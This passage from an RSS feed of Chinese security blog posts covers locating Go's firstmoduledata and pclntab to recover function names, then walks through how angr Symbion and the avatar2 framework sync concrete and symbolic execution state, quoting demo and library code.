&#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;letter-spacing: 0.1em;color: rgb(63, 63, 63);">根据 <strong style="line-height: 1.75;color: rgb(255, 118, 118);">Moduledata</strong> 的定义，Moduledata 是可以串成链表的形式的，而一个完整的可执行 Go 二进制文件中，只有一个 <strong style="line-height: 1.75;color: rgb(255, 118, 118);">firstmoduledata</strong> 包含如上完整的字段。简单介绍一下关键字段：</p><ul style="font-size: 14px;letter-spacing: normal;text-wrap: wrap;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;padding-left: 1em;list-style: circle;color: rgb(63, 63, 63);" class="list-paddingleft-1"><li style="text-align: left;line-height: 1.75;text-indent: -1em;display: block;margin: 0.2em 8px;"><p>• 第 1 个字段 <strong style="line-height: 1.75;color: rgb(255, 118, 118);">pclntable</strong>，即为 <strong style="line-height: 1.75;color: rgb(255, 118, 118);">pclntab</strong> 的地址；</p></li><li style="text-align: left;line-height: 1.75;text-indent: -1em;display: block;margin: 0.2em 8px;"><p>• 第 2 个字段 <strong style="line-height: 1.75;color: rgb(255, 118, 118);">ftab</strong>，为 <strong style="line-height: 1.75;color: rgb(255, 118, 118);">pclntab</strong> 中 Function Table 的地址(=pclntab_addr + 8)；</p></li><li style="text-align: left;line-height: 1.75;text-indent: -1em;display: block;margin: 0.2em 8px;"><p>• 第 3 个字段 <strong style="line-height: 1.75;color: rgb(255, 118, 118);">filetab</strong>，为 <strong style="line-height: 1.75;color: rgb(255, 118, 118);">pclntab</strong> 中 Source File Table 的地址；</p></li><li style="text-align: left;line-height: 1.75;text-indent: -1em;display: block;margin: 0.2em 8px;"><p>• 第 5 个字段 <strong style="line-height: 1.75;color: rgb(255, 118, 118);">minpc</strong>，为 <strong style="line-height: 1.75;color: rgb(255, 118, 118);">pclntab</strong> 中第一个函数的起始地址；</p></li><li style="text-align: left;line-height: 1.75;text-indent: -1em;display: block;margin: 0.2em 8px;"><p>• 第 7 个字段 <strong style="line-height: 1.75;color: rgb(255, 118, 118);">text</strong>，在普通二进制文件中，对应于 [.text] section 的起始地址；在 PIE 二进制文件中则没有这个要求；</p></li></ul><p style="font-size: 14px;text-wrap: wrap;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;letter-spacing: 0.1em;color: rgb(63, 63, 63);"><code style="white-space:pre-wrap;line-height: 1.75;font-size: 12.6px;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;">firstmoduledata</code>其第一个uintptr元素指向的位置，前4字节为pclntab的<code style="white-space:pre-wrap;line-height: 1.75;font-size: 12.6px;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;">Magic Number</code>。所以以uintptr为单位遍历整个二进制文件找到符合这一点的地址作为可能的,<code style="white-space:pre-wrap;line-height: 1.75;font-size: 12.6px;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;">firstmoduledata</code>起始地址。如果是真实的firstmoduledata，它内部是有几个字段可以跟pclntab中的数据进行交叉验证的，比如：</p><ul style="font-size: 14px;letter-spacing: normal;text-wrap: wrap;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;padding-left: 1em;list-style: circle;color: rgb(63, 63, 63);" class="list-paddingleft-1"><li style="text-align: left;line-height: 1.75;text-indent: -1em;display: block;margin: 0.2em 8px;"><p>• firstmoduledata.ftab == pclntab_addr + 8</p></li><li style="text-align: left;line-height: 1.75;text-indent: -1em;display: block;margin: 0.2em 8px;"><p>• firstmoduledata.filetab == firstmoduledata.ftab + pclntab.functab_size + sizeof(uintptr)</p></li><li style="text-align: left;line-height: 1.75;text-indent: -1em;display: block;margin: 0.2em 8px;"><p>• firstmoduledata.minpc == firstmoduledata.text_addr == uintptr(pclntbl_addr + 8 + ADDR_SZ) == first function of pclntab.functab</p></li></ul><p style="font-size: 14px;text-wrap: wrap;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;letter-spacing: 0.1em;color: rgb(63, 63, 63);">  当然，不一定要验证上面所有条件，验证其中一部分甚至一个关键条件，就可以确认当前地址是否为真正的firstmoduledata<strong style="line-height: 1.75;color: rgb(255, 118, 118);">。</strong>go_parser中就是通过这种方法定位firstmoduledata然后根据不同版本从pclntable恢复函数名(以及函数地址范围)和源码路径。</p><p style="display: none;"><mp-style-type data-value="3"></mp-style-type></p>



<p><a href="2247486017">阅读原文</a></p>
<p><a href="https://wechat2rss.xlab.app/link-proxy/?k=9db01910&amp;r=1&amp;u=https%3A%2F%2Fmp.weixin.qq.com%2Fs%3F__biz%3DMzg3NzczOTA3OQ%3D%3D%26mid%3D2247486017%26idx%3D1%26sn%3D023e93d8527763ca706d16bfc3107390%26subscene%3D0">跳转微信打开</a></p>
]]></content:encoded>
      <pubDate>Mon, 23 Oct 2023 16:18:00 +0800</pubDate>
    </item>
    <item>
      <title>angr symbion</title>
      <link>https://mp.weixin.qq.com/s?__biz=Mzg3NzczOTA3OQ==&amp;mid=2247485993&amp;idx=1&amp;sn=4a51741b90bbf107c5892bdd4e5e833b</link>
      <description>angr symbion</description>
      <content:encoded><![CDATA[<p>
<span>时钟</span> <span>2023-08-17 16:00</span> <span style="display: inline-block;">北京</span>
</p>

<p>angr symbion</p>
<p></p>



<p>
<img src="https://wechat2rss.xlab.app/img-proxy/?k=f3e6c7cd&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2FLxlshmzkAkZpGOgeJQicThickxpGIS4wQT2SoSm2QmCZpNIA1KPVibxlRZAERzM1GbYbjfCNPicxibNsQWXZ3nqKnIw%2F0%3Fwx_fmt%3Djpeg"/>
</p>


<h1 style="letter-spacing: normal;text-wrap: wrap;text-align: center;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 1.2em;font-weight: bold;display: table;margin-right: auto;margin-bottom: 1em;margin-left: auto;padding-right: 1em;padding-left: 1em;border-bottom: 2px solid rgb(255, 118, 118);color: rgb(63, 63, 63);">angr symbion</h1><p style="text-align: center;"><img class="rich_pages wxw-img" data-galleryid="" data-ratio="0.32" data-s="300,640" style="" data-type="png" data-w="1000" src="https://wechat2rss.xlab.app/img-proxy/?k=33786dee&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FLxlshmzkAkb1yDnVcgIlvd3KG3vX76egiaDfKT3XbKmjGJjIa3foicznOnreTcvrRwtccfNAZ4I8TuibyIuNnkiatQ%2F640%3Fwx_fmt%3Dpng"/></p><blockquote style="font-size: 14px;letter-spacing: normal;text-wrap: wrap;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;border-left: none;padding: 1em;border-radius: 8px;background: rgb(247, 247, 247);margin: 2em 8px;"><p style="line-height: 1.75;font-size: 1em;letter-spacing: 0.1em;color: rgb(80, 80, 80);">建议搭配angr源码和angr symbion论文阅读。</p></blockquote><h2 style="letter-spacing: normal;text-wrap: wrap;text-align: center;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 1.2em;font-weight: bold;display: table;margin: 4em auto 2em;padding-right: 0.2em;padding-left: 0.2em;background: rgb(255, 118, 118);color: rgb(255, 255, 255);">简介</h2><p style="font-size: 14px;text-wrap: wrap;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;letter-spacing: 0.1em;color: rgb(63, 63, 63);">  angr symbion是一项很神奇的技术，可以帮助实现跳过符号分析前复杂的环境初始化工作，通过一个调试接口，比如gdbserver，可以实现具体环境和符号环境的交错执行。具体的使用方法可以参考<span style="line-height: 1.75;color: rgb(87, 107, 149);">官方文档</span>。但是因为这个技术非常有意思，可能对IOT，嵌入式领域的自动化漏洞分析带来极大的帮助，因此我决定深挖该技术的实现细节。</p><h2 style="letter-spacing: normal;text-wrap: wrap;text-align: center;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 1.2em;font-weight: bold;display: table;margin: 4em auto 2em;padding-right: 0.2em;padding-left: 0.2em;background: rgb(255, 118, 118);color: rgb(255, 255, 255);">技术细节</h2><p style="font-size: 14px;text-wrap: wrap;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;letter-spacing: 0.1em;color: rgb(63, 63, 63);">先看一个官方demo：</p><pre style="color: rgb(171, 178, 191);background: rgb(40, 44, 52);font-size: 14px;letter-spacing: normal;text-align: left;line-height: 1.5;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;overflow-x: auto;border-radius: 8px;padding: 1em;margin: 10px 8px;"><code style="line-height: 1.75;font-family: Menlo, &#34;Operator Mono&#34;, Consolas, Monaco, monospace;white-space-collapse: collapse;"><span style="color: rgb(92, 99, 112);font-style: italic;"># Instantiating the ConcreteTarget</span><br/>avatar_gdb = AvatarGDBConcreteTarget(avatar2.archs.x86.X86_64,<br/>                                     GDB_SERVER_IP, GDB_SERVER_PORT)<br/><span style="color: rgb(92, 99, 112);font-style: italic;"># Creating the Project</span><br/>p = angr.Project(binary_x64, concrete_target=avatar_gdb,<br/>                             use_sim_procedures=<span style="color: rgb(86, 182, 194);">True</span>)<br/><span style="color: rgb(92, 99, 112);font-style: italic;"># Getting an entry_state</span><br/>entry_state = p.factory.entry_state()<br/><span style="color: rgb(92, 99, 112);font-style: italic;"># Forget about these options as for now, will explain later.</span><br/>entry_state.options.add(angr.options.SYMBION_SYNC_CLE)<br/>entry_state.options.add(angr.options.SYMBION_KEEP_STUBS_ON_SYNC)<br/><span style="color: rgb(92, 99, 112);font-style: italic;"># Use Symbion!</span><br/>simgr.use_technique(angr.exploration_techniques.Symbion(find=[<span style="color: rgb(209, 154, 102);">0x85b853</span>])</code></pre><p style="font-size: 14px;text-wrap: wrap;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;letter-spacing: 0.1em;color: rgb(63, 63, 63);">  可以看出使用该技术的第一项就是初始化ConcreteTarget，在该初始化过程中使用到了一个库<span style="line-height: 1.75;color: rgb(87, 107, 149);">Avatar</span>，根据官方介绍，这是一个针对嵌入式设备固件的动态分析框架。显然，symboin技术用它作为自己和concrete state交互的接口，因此，我们先了解一下avatar.</p><p style="font-size: 14px;text-wrap: wrap;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;letter-spacing: 0.1em;color: rgb(63, 63, 63);">  avatar2作为一个编排框架，其实可以支持同时连接多个IOT设备和模拟环境，从架构上来看，avatar2由以下部分组成：</p><ol style="font-size: 14px;letter-spacing: normal;text-wrap: wrap;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;padding-left: 1em;color: rgb(63, 63, 63);" class="list-paddingleft-1"><li style="text-align: left;line-height: 1.75;text-indent: -1em;display: block;margin: 0.2em 8px;"><p>1. targets</p></li><li style="text-align: left;line-height: 1.75;text-indent: -1em;display: block;margin: 0.2em 8px;"><p>2. Protocols</p></li><li style="text-align: left;line-height: 1.75;text-indent: -1em;display: block;margin: 0.2em 8px;"><p>3. endpoints (like an emulator or a physical device)</p></li></ol><p style="text-align: center;"><img class="rich_pages wxw-img js_insertlocalimg" data-ratio="0.42685185185185187" data-s="300,640" style="" data-type="png" data-w="1080" src="https://wechat2rss.xlab.app/img-proxy/?k=14fa0346&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FLxlshmzkAkZpGOgeJQicThickxpGIS4wQTnJH5icJWG1ibBNkafJENpibrAhJauahlYfFWHNs93icmA2YzXAIQbEibZiag%2F640%3Fwx_fmt%3Dpng"/></p><p style="font-size: 14px;text-wrap: wrap;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;letter-spacing: 0.1em;color: rgb(63, 63, 63);">  可以看出avatar2控制一系列target和endpoints进行交互，因此target是avatar2里面的重要组成部分，其包含以下几种类型：</p><ul style="font-size: 14px;letter-spacing: normal;text-wrap: wrap;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;padding-left: 1em;list-style: circle;color: rgb(63, 63, 63);" class="list-paddingleft-1"><li style="text-align: left;line-height: 1.75;text-indent: -1em;display: block;margin: 0.2em 8px;"><p>• GDBTarget</p></li><li style="text-align: left;line-height: 1.75;text-indent: -1em;display: block;margin: 0.2em 8px;"><p>• QemuTarget</p></li><li style="text-align: left;line-height: 1.75;text-indent: -1em;display: block;margin: 0.2em 8px;"><p>• JLinkTarget</p></li><li style="text-align: left;line-height: 1.75;text-indent: -1em;display: block;margin: 0.2em 8px;"><p>• OpenOCDTarget</p></li><li style="text-align: left;line-height: 1.75;text-indent: -1em;display: block;margin: 0.2em 8px;"><p>• PandaTarget</p></li></ul><p style="font-size: 14px;text-wrap: wrap;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;letter-spacing: 0.1em;color: rgb(63, 63, 63);">  以GDBTarget为例，通过它可以实现与gdbserver的交互，进而实现对远程执行环境的控制，不过对于执行的控制avatar2甚至可以实现两个状态的交换</p><pre style="color: rgb(171, 178, 191);background: rgb(40, 44, 52);font-size: 14px;letter-spacing: normal;text-align: left;line-height: 1.5;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;overflow-x: auto;border-radius: 8px;padding: 1em;margin: 10px 8px;"><code style="line-height: 1.75;font-family: Menlo, &#34;Operator Mono&#34;, Consolas, Monaco, monospace;white-space-collapse: collapse;"><span style="color: rgb(198, 120, 221);">from</span> avatar2 <span style="color: rgb(198, 120, 221);">import</span> *<br/>sample = <span style="color: rgb(152, 195, 121);">&#39;firmware.bin&#39;</span><br/>openocd_conf = <span style="color: rgb(152, 195, 121);">&#39;nucleo-l152re.cfg&#39;</span><br/><span style="color: rgb(92, 99, 112);font-style: italic;"># Create avatar instance with custom output directory</span><br/>avatar = Avatar(output_directory=<span style="color: rgb(152, 195, 121);">&#39;/tmp/myavatar&#39;</span>)<br/><span style="color: rgb(92, 99, 112);font-style: italic;"># Add first target</span><br/>qemu = avatar.add_target(QemuTarget, <br/>                          gdb_executable=<span style="color: rgb(152, 195, 121);">&#34;arm-none-eabi-gdb&#34;</span>,<br/>                          firmware=sample, cpu_model=<span style="color: rgb(152, 195, 121);">&#34;cortex-m3&#34;</span>,<br/>                          executable=<span style="color: rgb(152, 195, 121);">&#34;targets/qemu/arm-softmmu/qemu-system-&#34;</span>)<br/><span style="color: rgb(92, 99, 112);font-style: italic;"># Add the second target</span><br/>nucleo = avatar.add_target(OpenOCDTarget,<br/>                           gdb_executable=<span style="color: rgb(152, 195, 121);">&#34;arm-none-eabi-gdb&#34;</span>, <br/>                           openocd_script=openocd_conf)<br/><span style="color: rgb(92, 99, 112);font-style: italic;"># Set up custom gdb ports to avoid collisions</span><br/>qemu.gdb_port = <span style="color: rgb(209, 154, 102);">1234</span><br/>nucleo.gdb_port = <span style="color: rgb(209, 154, 102);">1235</span><br/><span style="color: rgb(92, 99, 112);font-style: italic;"># Specify first memory range</span><br/>rom  = avatar.add_memory_range(<span style="color: rgb(209, 154, 102);">0x08000000</span>, <span style="color: rgb(209, 154, 102);">0x1000000</span>, name=<span style="color: rgb(152, 195, 121);">&#39;rom&#39;</span>, <br/>                                   file=sample)<br/><span style="color: rgb(92, 99, 112);font-style: italic;"># Specify second memory range</span><br/>ram  = avatar.add_memory_range(<span style="color: rgb(209, 154, 102);">0x20000000</span>, <span style="color: rgb(209, 154, 102);">0x14000</span>, name=<span style="color: rgb(152, 195, 121);">&#39;ram&#39;</span>)<br/><span style="color: rgb(92, 99, 112);font-style: italic;"># Initialize Targets</span><br/>avatar.init_targets()<br/><span style="color: rgb(92, 99, 112);font-style: italic;"># Execute on the nucleo up to a specific address</span><br/>nucleo.set_breakpoint(<span style="color: rgb(209, 154, 102);">0x800B570</span>)<br/>nucleo.cont()<br/>nucleo.wait()<br/><span style="color: rgb(92, 99, 112);font-style: italic;"># Transfer the state over to qemu</span><br/>avatar.transfer_state(nucleo, qemu, sync_regs=<span style="color: rgb(86, 182, 194);">True</span>, synced_ranges=[ram])<br/><span style="color: rgb(92, 99, 112);font-style: italic;"># Continue execution on qemu</span><br/>qemu.cont()</code></pre><p style="font-size: 14px;text-wrap: wrap;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;letter-spacing: 0.1em;color: rgb(63, 63, 63);">  在symboin中，使用的就是GDBTarget，同时实现了一系列方法，比如read_memory，write_memory，read_register，write_register等，这些大部分也是对avatar2相关api的包装，不过基于对gdb和gdbserver的了解，并不难理解实现这些功能的方法。在symbion的官方demo中可以看到接下来的动作就是以avatar_gdb创建Project，并对创造出来的state添加<code style="white-space:pre-wrap;line-height: 1.75;font-size: 12.6px;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;">angr.options.SYMBION_SYNC_CLE</code> 和 <code style="white-space:pre-wrap;line-height: 1.75;font-size: 12.6px;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;">angr.options.SYMBION_KEEP_STUBS_ON_SYNC</code>，对于这两个option官方有详细的解释，主要是用来控制concrete state和abstract state的同步，因此如何将concrete state成功的转化为abstract state，核心作用在于simgr.use_technique(angr.exploration_techniques.Symbion(find=[0x85b853])，为了实现不同状态之间的转化，angr实现了SimEngineConcrete引擎，在该引擎中存在以下方法：</p><pre style="color: rgb(171, 178, 191);background: rgb(40, 44, 52);font-size: 14px;letter-spacing: normal;text-align: left;line-height: 1.5;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;overflow-x: auto;border-radius: 8px;padding: 1em;margin: 10px 8px;"><code style="line-height: 1.75;font-family: Menlo, &#34;Operator Mono&#34;, Consolas, Monaco, monospace;white-space-collapse: collapse;">    <span style="color: rgb(198, 120, 221);">def</span> <span style="color: rgb(97, 174, 238);">process_successors</span>(self, successors, extra_stop_points=<span style="color: rgb(86, 182, 194);">None</span>, memory_concretize=<span style="color: rgb(86, 182, 194);">None</span>,<br/>                           register_concretize=<span style="color: rgb(86, 182, 194);">None</span>, timeout=<span style="color: rgb(209, 154, 102);">0</span>, *args, **kwargs):<br/>        new_state = self.state<br/>        <span style="color: rgb(92, 99, 112);font-style: italic;"># setup the concrete process and resume the execution</span><br/>        self.to_engine(new_state, extra_stop_points, memory_concretize, register_concretize, timeout)<br/>        <span style="color: rgb(92, 99, 112);font-style: italic;"># sync angr with the current state of the concrete process using</span><br/>        <span style="color: rgb(92, 99, 112);font-style: italic;"># the state plugin</span><br/>        new_state.concrete.sync()<br/>        successors.engine = <span style="color: rgb(152, 195, 121);">&#34;SimEngineConcrete&#34;</span><br/>        successors.sort = <span style="color: rgb(152, 195, 121);">&#34;SimEngineConcrete&#34;</span><br/>        successors.add_successor(new_state, new_state.ip, new_state.solver.true, new_state.unicorn.jumpkind)<br/>        successors.description = <span style="color: rgb(152, 195, 121);">&#34;Concrete Successors&#34;</span><br/>        successors.processed = <span style="color: rgb(86, 182, 194);">True</span></code></pre><p style="font-size: 14px;text-wrap: wrap;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;letter-spacing: 0.1em;color: rgb(63, 63, 63);">  其中to_engine则通过控制avatar2来实现将目标环境的程序运行到指定地址（断点位置），然后调用sync方法进行不同状态之间的同步，调试发现angr存在名为Concrete的插件：</p><pre style="color: rgb(171, 178, 191);background: rgb(40, 44, 52);font-size: 14px;letter-spacing: normal;text-align: left;line-height: 1.5;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;overflow-x: auto;border-radius: 8px;padding: 1em;margin: 10px 8px;"><code style="line-height: 1.75;font-family: Menlo, &#34;Operator Mono&#34;, Consolas, Monaco, monospace;white-space-collapse: collapse;"><span style="color: rgb(198, 120, 221);">class</span> <span style="color: rgb(230, 192, 123);">Concrete</span>(<span style="color: rgb(230, 192, 123);">SimStatePlugin</span>):<br/>    <span style="color: rgb(198, 120, 221);">def</span> <span style="color: rgb(97, 174, 238);">__init__</span>(self, segment_registers_initialized=<span style="color: rgb(86, 182, 194);">False</span>, segment_registers_callback_initialized=<span style="color: rgb(86, 182, 194);">False</span>,<br/>                 whitelist=<span style="color: rgb(86, 182, 194);">None</span>, fs_register_bp=<span style="color: rgb(86, 182, 194);">None</span>, already_sync_objects_addresses=<span style="color: rgb(86, 182, 194);">None</span>,<br/>                 ):<br/>        <span style="color: rgb(230, 192, 123);">super</span>().__init__()<br/>        self.segment_registers_initialized = segment_registers_initialized<br/>        self.segment_registers_callback_initialized = segment_registers_callback_initialized<br/>        <span style="color: rgb(198, 120, 221);">if</span> <span style="color: rgb(198, 120, 221);">not</span> whitelist:<br/>            self.whitelist = []<br/>        <span style="color: rgb(198, 120, 221);">else</span>:<br/>            self.whitelist = whitelist<br/>        self.synchronize_cle = <span style="color: rgb(86, 182, 194);">False</span><br/>        self.stubs_on_sync = <span style="color: rgb(86, 182, 194);">False</span><br/>        self.fs_register_bp = fs_register_bp<br/>        <span style="color: rgb(198, 120, 221);">if</span> <span style="color: rgb(198, 120, 221);">not</span> already_sync_objects_addresses:<br/>            self.already_sync_objects_addresses = []<br/>        <span style="color: rgb(198, 120, 221);">else</span>:<br/>            self.already_sync_objects_addresses = already_sync_objects_addresses<br/>            <br/>          .......</code></pre><p style="font-size: 14px;text-wrap: wrap;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;letter-spacing: 0.1em;color: rgb(63, 63, 63);">  通过该插件的sync方法，实现了远程目标环境的本地同步，其主要分为这几部分：</p><p style="font-size: 14px;text-wrap: wrap;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;letter-spacing: 0.1em;color: rgb(63, 63, 63);">寄存器：</p><pre style="color: rgb(171, 178, 191);background: rgb(40, 44, 52);font-size: 14px;letter-spacing: normal;text-align: left;line-height: 1.5;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;overflow-x: auto;border-radius: 8px;padding: 1em;margin: 10px 8px;"><code style="line-height: 1.75;font-family: Menlo, &#34;Operator Mono&#34;, Consolas, Monaco, monospace;white-space-collapse: collapse;">    <span style="color: rgb(198, 120, 221);">def</span> <span style="color: rgb(97, 174, 238);">_sync_registers</span>(self, register_names, target):<br/>        <span style="color: rgb(198, 120, 221);">for</span> register_name <span style="color: rgb(198, 120, 221);">in</span> register_names:<br/>            <span style="color: rgb(198, 120, 221);">try</span>:<br/>                reg_value = target.read_register(register_name)<br/>                <span style="color: rgb(230, 192, 123);">setattr</span>(self.state.regs, register_name, reg_value)<br/>                l.debug(<span style="color: rgb(152, 195, 121);">&#34;Register: %s value: %x &#34;</span>, register_name, self.state.solver.<span style="color: rgb(230, 192, 123);">eval</span>(<span style="color: rgb(230, 192, 123);">getattr</span>(self.state.regs,<br/>                                                                                                 register_name),<br/>                                                                                         cast_to=<span style="color: rgb(230, 192, 123);">int</span>))<br/>            <span style="color: rgb(198, 120, 221);">except</span> SimConcreteRegisterError <span style="color: rgb(198, 120, 221);">as</span> exc:<br/>                l.debug(<span style="color: rgb(152, 195, 121);">&#34;Can&#39;t set register %s reason: %s, if this register is not used &#34;</span><br/>                        <span style="color: rgb(152, 195, 121);">&#34;this message can be ignored&#34;</span>, register_name, exc)</code></pre><p style="font-size: 14px;text-wrap: wrap;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;letter-spacing: 0.1em;color: rgb(63, 63, 63);">  基本上就是获取远程目标状态的值进行本地化处理。</p><p style="font-size: 14px;text-wrap: wrap;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;letter-spacing: 0.1em;color: rgb(63, 63, 63);">内存：</p><pre style="color: rgb(171, 178, 191);background: rgb(40, 44, 52);font-size: 14px;letter-spacing: normal;text-align: left;line-height: 1.5;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;overflow-x: 